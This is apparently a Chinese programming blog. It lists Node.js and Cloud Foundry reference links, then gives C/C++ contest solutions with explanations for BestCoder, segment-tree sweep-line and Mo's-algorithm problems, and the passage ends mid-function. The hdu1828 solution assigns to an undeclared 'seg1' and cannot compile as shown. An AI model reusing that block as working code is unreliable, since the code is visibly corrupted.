Node.js资料临时记录

文档:http://docs.run.pivotal.io/starting/index.html
web应用控制台:https://console.run.pivotal.io
关于manifest.yml文件:http://docs.run.pivotal.io/devguide/deploy-apps/manifest.html#minimal-manifest
node.js的事件循环:http://blog.mixu.net/2011/02/01/understanding-the-node-js-event-loop/
node.js的初步入门:http://ourjs.com/detail/529ca5950cb6498814000005
pivotal Cloud Foundry:https://console.run.pivotal.io/organizations/0c2e2745-b6fd-4bd1-a2ec-291beb58c84e/spaces/d2b83c2c-d217-4c7a-a662-6fc3a41205e2
Cloud Foundry的Environment variable:http://docs.run.pivotal.io/devguide/deploy-apps/environment-variable.html

http://www.atatech.org/

https://github.com/alsotang/node-lessons

bestcoder#52 div2

很久没做题,水平不行了,bestcoder上的rating更是低的惨烈。这段时间开始坚持每个星期做一场比赛。
hdu5422 Rikka with Graph
这题不说了……

#include<stdio.h>
#include<string.h>
int n,m;
int main()
{
    int i,j;
    int u,v;
    while(~scanf("%d%d",&n,&m))
    {
        bool flag=0;
        for(i=1;i<=m;i++)
        {
            scanf("%d%d",&u,&v);
            if((u==1 && v==n) || (u==n && v==1)) flag=1;
        }
        if(flag) printf("1 %d\n",n*(n-1)/2);
        else printf("1 1\n");


    }
    return 0;
}

hdu5423 Rikka with Tree
只有树是如下形态时才符合要求:最底层可以有多个结点,其余每层只能有一个结点。

#include<stdio.h>
#include<string.h>
#include<queue>
using namespace std;
int n;
typedef struct Edge{
    int to,next;
}Edge;
Edge edge[2010];
int head[1010],cnt;
int d[1010];
typedef struct Node{
    int x,dep,f;
}Node;
queue<Node> q;
void add(int u,int v)
{
    edge[cnt].to=v;edge[cnt].next=head[u];
    head[u]=cnt++;
    return;
}
void bfs()
{
    int i;
    while(!q.empty()) q.pop();
    Node root;
    root.x=1;root.dep=1;root.f=0;
    memset(d,0,sizeof(d));
    q.push(root);
    while(!q.empty())
    {
        Node tmp=q.front();q.pop();
        int u=tmp.x;
        int dep=tmp.dep;
        int f=tmp.f;
        d[dep]+=1;
        for(i=head[u];i!=-1;i=edge[i].next)
        {
            int v=edge[i].to;
            if(v==f) continue;
            Node xh;
            xh.x=v;xh.f=u;xh.dep=dep+1;
            q.push(xh);
        }
    }
    return;
}
int main()
{
    int i,j;
    while(~scanf("%d",&n))
    {
        int u,v;
        cnt=0;memset(head,-1,sizeof(head));
        memset(d,0,sizeof(d));
        for(i=1;i<=n-1;i++)
        {
            scanf("%d%d",&u,&v);
            add(u,v);
            add(v,u);
        }
        bool flag=1;
        bfs();
        for(i=1;i<=n;i++)
        {
            if(d[i]>=2 && d[i+1]>0) {flag=0;break;}
        }
        printf("%s\n",flag?"YES":"NO");
    }
    return 0;
}

hdu5424 Rikka with Graph II
好久没做bestcoder,我又忘了最后15分钟是hack时间,不能提交。结果在办公室一边做题一边吃吃喝喝,错过了提交时间。。
当时我的心情是这样的:

题意:n个顶点n条边,求是否存在哈密顿路。
我是这样做的:

if(不连通)//记录自环和重边数即可,不用遍历
    NO
else
{
    if(没有环)
    {
        if(度=1的点超过2个) NO
        else YES
    }
    else
    {
        if(度=1的点超过2个) NO
        else if(度=1的点少于2个) YES
        else
        {
            设这两个度为1的点为u,v
            那么从这两个度为1的点迭代到环中,判断环上的这两个点是否有边相连?是:YES,否:NO
        }
    }
}

其实代表了几种情况,画下图就明白了。具体见代码

#include<stdio.h>
#include<string.h>
int n;
int d[1010][1010],du[1010];
typedef struct Edge{
    int to,next;
}Edge;
Edge edge[2010];
int head[1010],cn;
void add(int u,int v)
{
    edge[cn].to=v;edge[cn].next=head[u];
    head[u]=cn++;
    return;
}
int main()
{
    int i,j;
    int u,v;
    while(~scanf("%d",&n))
    {
        int cnt=0;
        memset(du,0,sizeof(du));
        memset(d,0,sizeof(d));
        cn=0;memset(head,-1,sizeof(head));
        for(i=1;i<=n;i++) d[i][i]=1;
        for(i=1;i<=n;i++)
        {
            scanf("%d%d",&u,&v);
            if(u==v || d[u][v]) {cnt++;continue;}
            d[u][v]=1;d[v][u]=1;
            add(u,v);add(v,u);
            du[u]++;du[v]++;
        }
        if(cnt>=2) {printf("NO\n");continue;}
        int cc=0;
        for(i=1;i<=n;i++) if(du[i]==1) cc++;
        if(cnt==1)
        {
            if(cc>2) printf("NO\n");
            else printf("YES\n");
            continue;
        }
        if(cc>2) {printf("NO\n");continue;}
        if(cc<=1) {printf("YES\n");continue;}
        u=0;
        for(i=1;i<=n;i++)
            if(du[i]==1)
            {
                if(!u) u=i;
                else v=i;
            }
        int f=u;
        while(du[u]<3)
        {
            j=u;
            for(j=head[j];j!=-1;j=edge[j].next)
            {
                if(edge[j].to!=f) {f=u;u=edge[j].to;break;}
            }
        }
        f=v;
        while(du[v]<3)
        {
            j=v;
            for(j=head[j];j!=-1;j=edge[j].next)
            {
                if(edge[j].to!=f) {f=v;v=edge[j].to;break;}
            }
        }
        if((u==v) || !d[u][v]) printf("NO\n");
        else printf("YES\n");
    }
    return 0;
}

hdu5425 Rikka with Tree II
这题比赛时候没做。。

线段树—扫描线专题

hdu1542 Atlantis
矩形面积并
以前学线段树的时候对扫描线似懂非懂,关键是没明白为什么没有pushdown操作,现在总算弄懂了。。
因为在pushup里面当有线段覆盖时(cnt>0)直接对len域进行赋值,不依赖于儿子结点。这就相当于把这个结点当成了叶子结点(更新到底了),然后往上一路pushup,这样虽然导致该结点下面的结点信息可能有错,但是该结点以上的结点的信息保证正确。而询问是询问整段(len[1])的覆盖长度。这样每次询问时,根结点的信息是正确的就行了。

#include<stdio.h>
#include<string.h>
#include<math.h>
#include<map>
#include<algorithm>
using namespace std;
const double eps=1e-8;
typedef struct Seg{
    double lx,rx,h;
    int v;
}Seg;
Seg seg[210];
int n;
double tmpx[210],x[210];
bool cmp(Seg a,Seg b)
{
    return a.h<b.h;
}
bool equ(double a,double b)
{
    return fabs(a-b)<eps?1:0;
}
int bs(int l,int r,double v)
{
    while(l<=r)
    {
        int m=(l+r)>>1;
        if(equ(x[m],v)) return m;
        if(v>x[m]) l=m+1;
        else r=m-1;
    }
    return 0;
}
#define lson id<<1
#define rson id<<1|1
const int maxn=200;
double len[maxn<<2];
int cnt[maxn<<2];
void pushup(int id,int l,int r)
{
    if(cnt[id]) len[id]=x[r+1]-x[l];
    else if(l==r) len[id]=0;
    else len[id]=len[lson]+len[rson];
    return;
}
void update(int id,int l,int r,int L,int R,int v)
{
    if(L<=l && r<=R)
    {
        cnt[id]+=v;
        pushup(id,l,r);
        return;
    }
    int m=(l+r)>>1;
    if(L<=m) update(lson,l,m,L,R,v);
    if(R>m) update(rson,m+1,r,L,R,v);
    pushup(id,l,r);
}
int main()
{
    int i,j;
    int cases=0;
    while(~scanf("%d",&n) && n)
    {
        double x1,x2,y1,y2;
        int cc=0;
        for(i=1;i<=n;i++)
        {
            scanf("%lf%lf%lf%lf",&x1,&y1,&x2,&y2);
            cc++;
            tmpx[cc]=x1;
            seg[cc].lx=x1;seg[cc].rx=x2;seg[cc].h=y1;seg[cc].v=1;
            cc++;
            tmpx[cc]=x2;
            seg[cc].lx=x1;seg[cc].rx=x2;seg[cc].h=y2;seg[cc].v=-1;
        }
        sort(seg+1,seg+(n<<1)+1,cmp);
        sort(tmpx+1,tmpx+(n<<1)+1);
        int m=0;
        x[++m]=tmpx[1];
        for(i=2;i<=2*n;i++)
            if(!equ(tmpx[i],tmpx[i-1])) x[++m]=tmpx[i];
        memset(len,0,sizeof(len));
        memset(cnt,0,sizeof(cnt));
        double ans=0;
        for(i=1;i<=2*n-1;i++)
        {
            int l=bs(1,m,seg[i].lx);
            int r=bs(1,m,seg[i].rx)-1;
            update(1,1,m-1,l,r,seg[i].v);
            ans+=len[1]*(seg[i+1].h-seg[i].h);
        }
        printf("Test case #%d\nTotal explored area: %.2f\n\n",++cases,ans);
    }
    return 0;
}

hdu1828 Picture
矩形周长并

#include<stdio.h>
#include<string.h>
#include<math.h>
#include<stdlib.h>
#include<algorithm>
using namespace std;
const double eps=1e-8;
typedef struct Seg{
    int l,r,h,v;
}Seg;
Seg seg[10000+10];
int n;
bool cmp(Seg a,Seg b)
{
    return a.h<b.h;
}
#define lson id<<1
#define rson id<<1|1
const int maxn=20000;
int cnt[maxn<<2],num[maxn<<2],lmax[maxn<<2],rmax[maxn<<2],len[maxn<<2];
void init()
{
    memset(num,0,sizeof(num));
    memset(lmax,0,sizeof(lmax));
    memset(rmax,0,sizeof(rmax));
    memset(len,0,sizeof(len));
    memset(cnt,0,sizeof(cnt));
    return;
}
void pushup(int id,int l,int r)
{
    int m=(l+r)>>1;
    if(cnt[id]) {lmax[id]=rmax[id]=len[id]=r-(l-1);num[id]=1;}
    else if(l==r) {lmax[id]=rmax[id]=len[id]=0;num[id]=0;}
    else
    {
        lmax[id]=(lmax[lson]==(m-(l-1))?lmax[lson]+lmax[rson]:lmax[lson]);
        rmax[id]=(rmax[rson]==(r-m)?rmax[rson]+rmax[lson]:rmax[rson]);
        len[id]=len[lson]+len[rson];
        num[id]=num[lson]+num[rson]+((rmax[lson] && lmax[rson])?-1:0);
    }
    return;
}
void update(int id,int l,int r,int L,int R,int v)
{
    if(L<=l && r<=R)
    {
        cnt[id]+=v;
        pushup(id,l,r);
        return;
    }
    int m=(l+r)>>1;
    if(L<=m) update(lson,l,m,L,R,v);
    if(R>m) update(rson,m+1,r,L,R,v);
    pushup(id,l,r);
    return;
}
int main()
{
    int i,j;
    int last;
    while(~scanf("%d",&n))
    {
        int x1,y1,x2,y2;
        int c=0;
        for(i=1;i<=n;i++)
        {
            scanf("%d%d%d%d",&x1,&y1,&x2,&y2);
            x1+=10000;x2+=10000;
            c++;
            seg1.l=x1;seg1.r=x2;seg1.h=y1;seg1.v=1;
            c++;
            seg1.l=x1;seg1.r=x2;seg1.h=y2;seg1.v=-1;
        }
        sort(seg+1,seg+1+(n<<1),cmp);
        last=0;
        int ans=0;
        init();
        for(i=1;i<=(n<<1);i++)
        {
            update(1,1,20000,seg[i].l+1,seg[i].r,seg[i].v);
            ans+=abs(len[1]-last);
            ans+=num[1]*2*(seg[i+1].h-seg[i].h);
            last=len[1];
        }
        printf("%d\n",ans);
    }
    return 0;
}

hdu1255 覆盖的面积
这题扫描的时候需要维护区间被覆盖两次及以上的长度。
线段树维护len(覆盖一次及以上的长度)、nlen(覆盖两次及以上的长度)、cnt(覆盖线段条数)
理解两个pushup函数需要清楚几点:
1.由于没有pushdown操作,所以某个结点的cnt和其子结点的cnt是无关的。也就是说,父节点cnt=1,子结点cnt=1,那么显然有两条不同的线段覆盖在子结点上。
2.每个结点的len、nlen维护的是该结点及以下结点的信息,有点dp的感觉,这样就保证了最顶端结点(根结点)信息的正确。
3.由2可以知道,上层结点信息的更新不会改变下层结点的信息,反之则会。

#include<stdio.h>
#include<string.h>
#include<math.h>
#include<algorithm>
using namespace std;
const double eps=1e-8;
const int maxn=2010;
#define zero(x) (fabs(x)<eps?1:0)
typedef struct Seq{
    double lx,rx,h;
    int v;
}Seg;
Seg seg[maxn];
int n;
double tmpx[maxn],x[maxn];
double len[maxn<<2],nlen[maxn<<2];
int cnt[maxn<<2];
bool cmp(Seg a,Seg b) {return a.h<b.h;}
int bs(int l,int r,double v)
{
    while(l<=r)
    {
        int m=(l+r)>>1;
        if(zero(x[m]-v)) return m;
        if(v>x[m]) l=m+1;
        else r=m-1;
    }
    return 0;
}
#define lson id<<1
#define rson id<<1|1
void init()
{
    memset(len,0,sizeof(len));
    memset(nlen,0,sizeof(nlen));
    memset(cnt,0,sizeof(cnt));
    return;
}
void pushup1(int id,int l,int r)
{
    if(cnt[id]) len[id]=x[r+1]-x[l];
    else if(l==r) len[id]=0;
    else len[id]=len[lson]+len[rson];
    return;
}
void pushup2(int id,int l,int r)
{
    if(cnt[id]>1) nlen[id]=x[r+1]-x[l];
    else if(cnt[id]==1)
    {
        if(l==r) nlen[id]=0;
        else nlen[id]=len[lson]+len[rson];
    }
    else
    {
        if(l==r) nlen[id]=0;
        else nlen[id]=nlen[lson]+nlen[rson];
    }
    return;
}
void update(int id,int l,int r,int L,int R,int v)
{
    if(L<=l && r<=R)
    {
        cnt[id]+=v;
        pushup1(id,l,r);
        pushup2(id,l,r);
        return;
    }
    int m=(l+r)>>1;
    if(L<=m) update(lson,l,m,L,R,v);
    if(R>m) update(rson,m+1,r,L,R,v);
    pushup1(id,l,r);
    pushup2(id,l,r);
    return;
}
int main()
{
    int i,j;
    int t;
    scanf("%d",&t);
    while(t--)
    {
        scanf("%d",&n);
        double x1,y1,x2,y2;
        int cc=0;
        for(i=1;i<=n;i++)
        {
            scanf("%lf%lf%lf%lf",&x1,&y1,&x2,&y2);
            cc++;
            tmpx[cc]=x1;
            seg[cc].lx=x1;seg[cc].rx=x2;seg[cc].h=y1;seg[cc].v=1;
            cc++;
            tmpx[cc]=x2;
            seg[cc].lx=x1;seg[cc].rx=x2;seg[cc].h=y2;seg[cc].v=-1;
        }
        sort(seg+1,seg+1+(n<<1),cmp);
        sort(tmpx+1,tmpx+1+(n<<1));
        int m=0;tmpx[0]=-1;
        for(i=1;i<=(n<<1);i++) if(!zero(tmpx[i]-tmpx[i-1])) x[++m]=tmpx[i];
        init();
        double ans=0;
        for(i=1;i<=(n<<1)-1;i++)
        {
            int l=bs(1,m,seg[i].lx);
            int r=bs(1,m,seg[i].rx)-1;
            update(1,1,m-1,l,r,seg[i].v);
            ans+=nlen[1]*(seg[i+1].h-seg[i].h);
        }
        printf("%.2f\n",ans);
    }
    return 0;
}

hdu3265 Posters
矩形面积并,但是每个矩形中间挖去一个小矩形。所以要把一个矩形分成四个矩形做

#include<stdio.h>
#include<string.h>
#include<algorithm>
#define lson id<<1
#define rson id<<1|1
using namespace std;
const int maxn=50000;
int len[maxn<<2],cnt[maxn<<2];
typedef struct Seg{
    int l,r,h,v;
}Seg;
int n;
Seg seg[(maxn<<3)+10];
void init()
{
    memset(cnt,0,sizeof(cnt));
    memset(len,0,sizeof(len));
    return;
}
bool cmp(Seg a,Seg b)
{
    //if(a.h==b.h) return a.v>b.v;
    return a.h<b.h;
}
int x1,x2,x3,x4,y1,y2,y3,y4;
int cc;
void cal()
{
    if(y1!=y3 && x1!=x2)
    {
        cc++;
        seg[cc].l=x1;seg[cc].r=x2;seg[cc].h=y1;seg[cc].v=1;
        cc++;
        seg[cc].l=x1;seg[cc].r=x2;seg[cc].h=y3;seg[cc].v=-1;
    }
    if(y2!=y4 && x1!=x2)
    {
        cc++;
        seg[cc].l=x1;seg[cc].r=x2;seg[cc].h=y4;seg[cc].v=1;
        cc++;
        seg[cc].l=x1;seg[cc].r=x2;seg[cc].h=y2;seg[cc].v=-1;
    }
    if(y3!=y4 && x1!=x3)
    {
        cc++;
        seg[cc].l=x1;seg[cc].r=x3;seg[cc].h=y3;seg[cc].v=1;
        cc++;
        seg[cc].l=x1;seg[cc].r=x3;seg[cc].h=y4;seg[cc].v=-1;
    }
    if(y3!=y4 && x4!=x2)
    {
        cc++;
        seg[cc].l=x4;seg[cc].r=x2;seg[cc].h=y3;seg[cc].v=1;
        cc++;
        seg[cc].l=x4;seg[cc].r=x2;seg[cc].h=y4;seg[cc].v=-1;
    }
    return;
}
void pushup(int id,int l,int r)
{
    if(cnt[id]) len[id]=r-l+1;
    else if(l==r) len[id]=0;
    else len[id]=len[lson]+len[rson];
    return;
}
void update(int id,int l,int r,int L,int R,int v)
{
    if(L<=l && r<=R)
    {
        cnt[id]+=v;
        pushup(id,l,r);
        return;
    }
    int m=(l+r)>>1;
    if(L<=m) update(lson,l,m,L,R,v);
    if(R>m) update(rson,m+1,r,L,R,v);
    pushup(id,l,r);
    return;
}
int main()
{
    int i,j;
    while(~scanf("%d",&n) && n)
    {
        cc=0;
        for(i=1;i<=n;i++)
        {
            scanf("%d%d%d%d%d%d%d%d",&x1,&y1,&x2,&y2,&x3,&y3,&x4,&y4);
            cal();
        }
        sort(seg+1,seg+1+cc,cmp);
        init();
        long long ans=0;
        for(i=1;i<=cc-1;i++)
        {
            update(1,1,maxn,seg[i].l+1,seg[i].r,seg[i].v);
            ans+=(long long)len[1]*(long long)(seg[i+1].h-seg[i].h);
        }
        printf("%I64d\n",ans);
    }
    return 0;
}

hdu3642 Get The Treasury
矩形体积并,这题吊吊吊,写了好久,细节比较烦,思路其实和矩形面积并一样的,z从小往大扫描,每扫到一个面,就往seg中加入或删去两条线段(相当于加入或减去一个矩形,扫描到长方体的下面则加两条线段,扫描到长方体的上面则减两条线段),然后求矩形面积并。每次用这个并面积(起码三个面并)乘上z轴差,就是增加的体积。
x坐标需要离散话,否则MLE。我的代码里面用了一点小暴力:seg数组元素用一个use域表示这条线段是否存在,按y轴从小到大扫描时,每次都要顺序查找吓一条use=1的线段。

#include<stdio.h>
#include<string.h>
#include<algorithm>
#define lson id<<1
#define rson id<<1|1
using namespace std;
typedef long long ll;
const int maxn=2000;
typedef struct Seg{
    int l,r,h,v;
    int num1,num2;
    int use;
}Seg;
typedef struct Cube{
    int down,up;
    int z;
    int v;
}Cube;
Cube cube[2010];
Seg seg[2010];
int n,m,x1,x2,y1,y2,z1,z2,cc,cn;
int x[2010],tmpx[2010];
bool cmp(Seg a,Seg b)
{
    return a.h<b.h;
}
bool cmp2(Cube a,Cube b)
{
    return a.z<b.z;
}
int alen[maxn<<2],blen[maxn<<2],clen[maxn<<2],cnt[maxn<<2];
void init()
{
    memset(alen,0,sizeof(alen));
    memset(blen,0,sizeof(blen));
    memset(clen,0,sizeof(clen));
    memset(cnt,0,sizeof(cnt));
    return;
}
void pushup1(int id,int l,int r)
{
    if(cnt[id]) alen[id]=x[r+1]-x[l];
    else if(l==r) alen[id]=0;
    else alen[id]=alen[lson]+alen[rson];
    return;
}
void pushup2(int id,int l,int r)
{
    if(cnt[id]>1) blen[id]=x[r+1]-x[l];
    else if(cnt[id]==1)
    {
        if(l==r) blen[id]=0;
        else blen[id]=alen[lson]+alen[rson];
    }
    else
    {
        if(l==r) blen[id]=0;
        else blen[id]=blen[lson]+blen[rson];
    }
    return;
}
void pushup3(int id,int l,int r)
{
    if(cnt[id]>2) clen[id]=x[r+1]-x[l];
    else if(cnt[id]==2)
    {
        if(l==r) clen[id]=0;
        else clen[id]=alen[lson]+alen[rson];
    }
    else if(cnt[id]==1)
    {
        if(l==r) clen[id]=0;
        else clen[id]=blen[lson]+blen[rson];
    }
    else
    {
        if(l==r) clen[id]=0;
        else clen[id]=clen[lson]+clen[rson];
    }
    return;
}
void pushup(int id,int l,int r)
{
    pushup1(id,l,r);
    pushup2(id,l,r);
    pushup3(id,l,r);
    return;
}
void update(int id,int l,int r,int L,int R,int v)
{
    if(L<=l && r<=R)
    {
        cnt[id]+=v;
        pushup(id,l,r);
        return;
    }
    int m=(l+r)>>1;
    if(L<=m) update(lson,l,m,L,R,v);
    if(R>m) update(rson,m+1,r,L,R,v);
    pushup(id,l,r);
    return;
}
int bs(int l,int r,int v)
{
    while(l<=r)
    {
        int m=(l+r)>>1;
        if(x[m]==v) return m;
        if(v<x[m]) r=m-1;
        else l=m+1;
    }
    return 0;
}
ll cal()
{
    int i,j;
    init();
    ll ans=0;
    for(i=1;i<=cc;i++)
    {
        if(!seg[i].use) continue;
        int l=bs(1,m,seg[i].l);
        int r=bs(1,m,seg[i].r)-1;
        update(1,1,m-1,l,r,seg[i].v);
        for(j=i+1;j<=cc+1;j++) if(seg[j].use) break;
        ans+=(ll)clen[1]*(ll)(seg[j].h-seg[i].h);
    }
    return ans;
}
int main()
{
    int i,j;
    int t,cases=0;
    scanf("%d",&t);
    while(t--)
    {
        scanf("%d",&n);
        cc=cn=m=0;
        for(i=1;i<=n;i++)
        {
            scanf("%d%d%d%d%d%d",&x1,&y1,&z1,&x2,&y2,&z2);x1+=1000000;x2+=1000000;
            tmpx[++m]=x1;tmpx[++m]=x2;
            cube[++cn].z=z1;cube[cn].v=1;
            cube[++cn].z=z2;cube[cn].v=0;
            cc++;
            seg[cc].l=x1;seg[cc].r=x2;seg[cc].h=y1;seg[cc].v=1;seg[cc].use=0;
            seg[cc].num1=cn-1;seg[cc].num2=cn;
            cc++;
            seg[cc].l=x1;seg[cc].r=x2;seg[cc].h=y2;seg[cc].v=-1;seg[cc].use=0;
            seg[cc].num1=cn-1;seg[cc].num2=cn;
        }
        sort(tmpx+1,tmpx+1+m);
        int tmp=0;
        tmpx[0]=-1;
        for(i=1;i<=m;i++)
            if(tmpx[i]!=tmpx[i-1]) x[++tmp]=tmpx[i];
        m=tmp;
        sort(seg+1,seg+1+cc,cmp);
        seg[cc+1].h=0;seg[cc+1].use=1;
        for(i=1;i<=cc;i++)
        {
            int num1=seg[i].num1,num2=seg[i].num2;
            int v=seg[i].v;
            if(v<0) cube[num1].down=cube[num2].down=i;
            else cube[num1].up=cube[num2].up=i;
        }
        sort(cube+1,cube+1+cn,cmp2);
        ll ans=0;
        for(i=1;i<=cn-1;i++)
        {
            int down=cube[i].down,up=cube[i].up,use=cube[i].v;
            seg[down].use=use;seg[up].use=use;
           // printf("area:%I64d   zh:%d\n",cal(),cube[i+1].z-cube[i].z);
            ans+=cal()*(ll)(cube[i+1].z-cube[i].z);
        }
        printf("Case %d: %I64d\n",++cases,ans);
    }
    return 0;
}

poj2482 Stars in Your Window
这题很有意思,给出一些点,每个点都有一个权值。给出一个长宽固定的矩形A,矩形可以平移,问最多可以圈住多少点权。(边界上的点不算)
这个问题需要巧妙的转化:对于每个点,发散出一个矩形范围,当A的中心在该范围内时,可以圈住该点。那么显然这个矩形范围和矩形A长的一模一样。问题就转化为平面上最多有多少个矩形重叠。这样就可以用成段更新的线段树+扫描线解决。

#include<stdio.h>
#include<string.h>
#include<math.h>
#include<algorithm>
#define lson id<<1
#define rson id<<1|1
#define zero(x) (fabs(x)<eps?1:0)
using namespace std;
const int maxn=2e4;
const double eps=1e-8;
double tmpx[maxn+10],x[maxn+10];
int cnt[maxn<<2],add[maxn<<2];
inline int max(int a,int b){return a>b?a:b;}
typedef struct Seg{
    double l,r,h;
    int v;
}Seg;
int n,m,w,h;
Seg seg[(maxn<<1)+10];
bool cmp(Seg a,Seg b)
{
    if(zero(a.h-b.h)) return a.v<b.v;
    return a.h<b.h;
}
void init()
{
    memset(cnt,0,(n<<3)*sizeof(cnt[0]));
    memset(add,0,(n<<3)*sizeof(add[0]));
    return;
}
void pushup(int id)
{
    cnt[id]=max(cnt[lson],cnt[rson]);
    return;
}
void pushdown(int id)
{
    if(!add[id]) return;
    cnt[lson]+=add[id];add[lson]+=add[id];
    cnt[rson]+=add[id];add[rson]+=add[id];
    add[id]=0;
    return;
}
void update(int id,int l,int r,int L,int R,int v)
{
    if(L<=l && r<=R)
    {
        cnt[id]+=v;
        add[id]+=v;
        return;
    }
    pushdown(id);
    int m=(l+r)>>1;
    if(L<=m) update(lson,l,m,L,R,v);
    if(R>m) update(rson,m+1,r,L,R,v);
    pushup(id);
    return;
}
int bs(int l,int r,double v)
{
    while(l<=r)
    {
        int m=(l+r)>>1;
        if(zero(v-x[m])) return m;
        if(v<x[m]) r=m-1;
        else l=m+1;
    }
    return 0;
}
int main()
{
    int i,j;
    while(~scanf("%d%d%d",&n,&w,&h))
    {
        int cc=0,cn=0;
        int a,b,c;
        for(i=1;i<=n;i++)
        {
            scanf("%d%d%d",&a,&b,&c);
            tmpx[++cn]=a-w/2.0;tmpx[++cn]=a+w/2.0;
            cc++;
            seg[cc].l=a-w/2.0;seg[cc].r=a+w/2.0;seg[cc].h=b-h/2.0;seg[cc].v=c;
            cc++;
            seg[cc].l=a-w/2.0;seg[cc].r=a+w/2.0;seg[cc].h=b+h/2.0;seg[cc].v=-c;
        }
        sort(seg+1,seg+1+cc,cmp);
        sort(tmpx+1,tmpx+1+cn);
        tmpx[0]=-1;
        m=0;
        for(i=1;i<=cn;i++) if(!zero(tmpx[i]-tmpx[i-1])) x[++m]=tmpx[i];
        init();
        int ans=0;
        for(i=1;i<=cc;i++)
        {
            int l=bs(1,m,seg[i].l);
            int r=bs(1,m,seg[i].r)-1;
            update(1,1,m-1,l,r,seg[i].v);
            if(cnt[1]>ans) ans=cnt[1];
        }
        printf("%d\n",ans);
    }
    return 0;
}

莫队算法专题

把几道莫队算法的题集中写一下
HYSBZ 2038 小Z的袜子
经典的莫队算法

#include<stdio.h>
#include<string.h>
#include<math.h>
#include<algorithm>
using namespace std;
typedef long long ll;
const int maxn=50000+10;
int n,m;
ll a[maxn],cnt[maxn];
typedef struct Query{
    ll l,r,num,ans1,ans2;
}Query;
Query q[maxn];
ll ans[maxn][2];
ll ret,len;
int gcd(ll a,ll b)
{
    if(a<b) {a^=b;b^=a;a^=b;}
    return b==0?a:gcd(b,a%b);
}
bool cmp(Query a,Query b)
{
    if(a.l/len==b.l/len) return a.r<b.r;
    return a.l<b.l;
}
void add(int x)
{
    ret-=cnt[a[x]]*(cnt[a[x]]-1);
    cnt[a[x]]++;
    ret+=cnt[a[x]]*(cnt[a[x]]-1);
    return;
}
void del(int x)
{
    ret-=cnt[a[x]]*(cnt[a[x]]-1);
    cnt[a[x]]--;
    ret+=cnt[a[x]]*(cnt[a[x]]-1);
    return;
}
void cal(ll l1,ll r1,ll l2,ll r2)
{
    while(r1<r2) {r1++;add(r1);}
    while(r1>r2) {del(r1);r1--;}
    while(l1<l2) {del(l1);l1++;}
    while(l1>l2) {l1--;add(l1);}
    return;
}
int main()
{
    int i,j;
    while(~scanf("%d%d",&n,&m))
    {
        for(i=1;i<=n;i++) scanf("%d",&a[i]);
        for(i=1;i<=m;i++)
        {
            scanf("%d%d",&q[i].l,&q[i].r);
            q[i].num=i;
        }
        len=(ll)sqrt(n*1.0);
        sort(q+1,q+1+m,cmp);

        ret=0;memset(cnt,0,sizeof(cnt));
        q[0].l=1;q[0].r=0;
        for(i=1;i<=m;i++)
        {
            ll l=q[i].l,r=q[i].r;
            cal(q[i-1].l,q[i-1].r,l,r);
            ll tmp=gcd(ret,(r-l+1)*(r-l));
            q[i].ans1=ret/tmp;q[i].ans2=(r-l+1)*(r-l)/tmp;
        }
        for(i=1;i<=m;i++)
        {
            int id=q[i].num;
            ans[id][0]=q[i].ans1;
            ans[id][1]=(q[i].ans1==0?1:q[i].ans2);
        }
        for(i=1;i<=m;i++) printf("%lld/%lld\n",ans[i][0],ans[i][1]);
    }
    return 0;
}

NBUT 1457 Sona
先把数据映射为1~n。
转移必须为O(1),总复杂度O(n^1.5lgn)会超时。

#include<stdio.h>
#include<string.h>
#include<math.h>
#include<algorithm>
#include<map>
using namespace std;
typedef long long ll;
const int maxn=100000+10;
int n,m;
int a[maxn];
map<int,int> num;
typedef struct Query{
    int l,r,id;
}Query;
Query q[maxn];
int len;
ll ret;
ll cnt[maxn];
ll ans[maxn];
bool cmp(Query a,Query b)
{
    if(a.l/len==b.l/len) return a.r<b.r;
    return a.l<b.l;
}
void add(int x)
{
    ll &y=cnt[a[x]];
    ret-=y*y*y;
    y++;
    ret+=y*y*y;
    return;
}
void del(int x)
{
    ll &y=cnt[a[x]];
    ret-=y*y*y;
    y--;
    ret+=y*y*y;
    return;
}
void cal(int l1,int r1,int l2,int r2)
{
    while(r1<r2) {r1++;add(r1);}
    while(r1>r2) {del(r1);r1--;}
    while(l1<l2) {del(l1);l1++;}
    while(l1>l2) {l1--;add(l1);}
    return;
}
void scan(int &num)    //对G++使用
{
    char in;
    bool neg=false;
    while(((in=getchar()) > '9' || in<'0') && in!='-') ;
    if(in=='-')
    {
        neg=true;
        while((in=getchar()) >'9' || in<'0');
    }
    num=in-'0';
    while(in=getchar(),in>='0'&&in<='9')
        num*=10,num+=in-'0';
    if(neg)
        num=0-num;
}
int main()
{
    int i,j;
    while(~scanf("%d",&n))
    {
        for(i=1;i<=n;i++) scan(a[i]);
        scanf("%d",&m);
        for(i=1;i<=m;i++)
        {
            scan(q[i].l);scan(q[i].r);
            q[i].id=i;
        }
        len=(int)sqrt(n*1.0);
        sort(q+1,q+1+m,cmp);
        if(!num.empty()) num.clear();
        int iq=0;
        for(i=1;i<=n;i++)
        {
            if(num.find(a[i])==num.end()) num[a[i]]=++iq;
        }
        for(i=1;i<=n;i++) a[i]=num[a[i]];
        ret=0;q[0].l=1;q[0].r=0;
        memset(cnt,0,sizeof(cnt));
        for(i=1;i<=m;i++)
        {
            cal(q[i-1].l,q[i-1].r,q[i].l,q[i].r);
            ans[q[i].id]=ret;
        }
        for(i=1;i<=m;i++) printf("%I64d\n",ans[i]);
    }
    return 0;
}

hdoj搜索题集

n久没刷题了,感觉水平退化太多了。。今天开始刷题。
把hdoj以前没做的搜索题做一下
hdu1072 简单题
我的思路:出发点和可重置时间的点没有必要访问两次,其他点可以重复访问。这样不会导致bfs一直进行下去。
其他思路:对于这种点可以重复访问的题,bfs入队时不仅要考虑坐标,还要考虑剩余时间,如果同一个点第二次入队时剩余时间比第一次大于或等于,那么不需要入队,没有意义。

#include<stdio.h>
#include<string.h>
const int maxq=1000000;
int n,m;
int map[9][9];
int vis[9][9];
typedef struct Node{
    int x,y,t,step;
}Node;
Node q[maxq];
int iq;
int dirx[]={0,1,-1,0,0};
int diry[]={0,0,0,1,-1};
int sx,sy,tx,ty,x,y,tt,step;
bool judge(int x,int y)
{
    if(1<=x && x<=n && 1<=y && y<=m) return 1;
    return 0;
}
int bfs()
{
    int i,j;
    iq=0;memset(vis,0,sizeof(vis));
    q[iq].x=sx;q[iq].y=sy;q[iq].t=6;q[iq].step=0;
    iq++;vis[sx][sy]=1;
    for(i=0;i<=iq-1;i++)
    {
        x=q[i].x;y=q[i].y;tt=q[i].t;step=q[i].step;
        if(tt==1) continue;
        for(j=1;j<=4;j++)
        {
            int u=x+dirx[j],v=y+diry[j];
            if(map[u][v]==3) return step+1;
            if(!judge(u,v) || vis[u][v] || map[u][v]==0) continue;
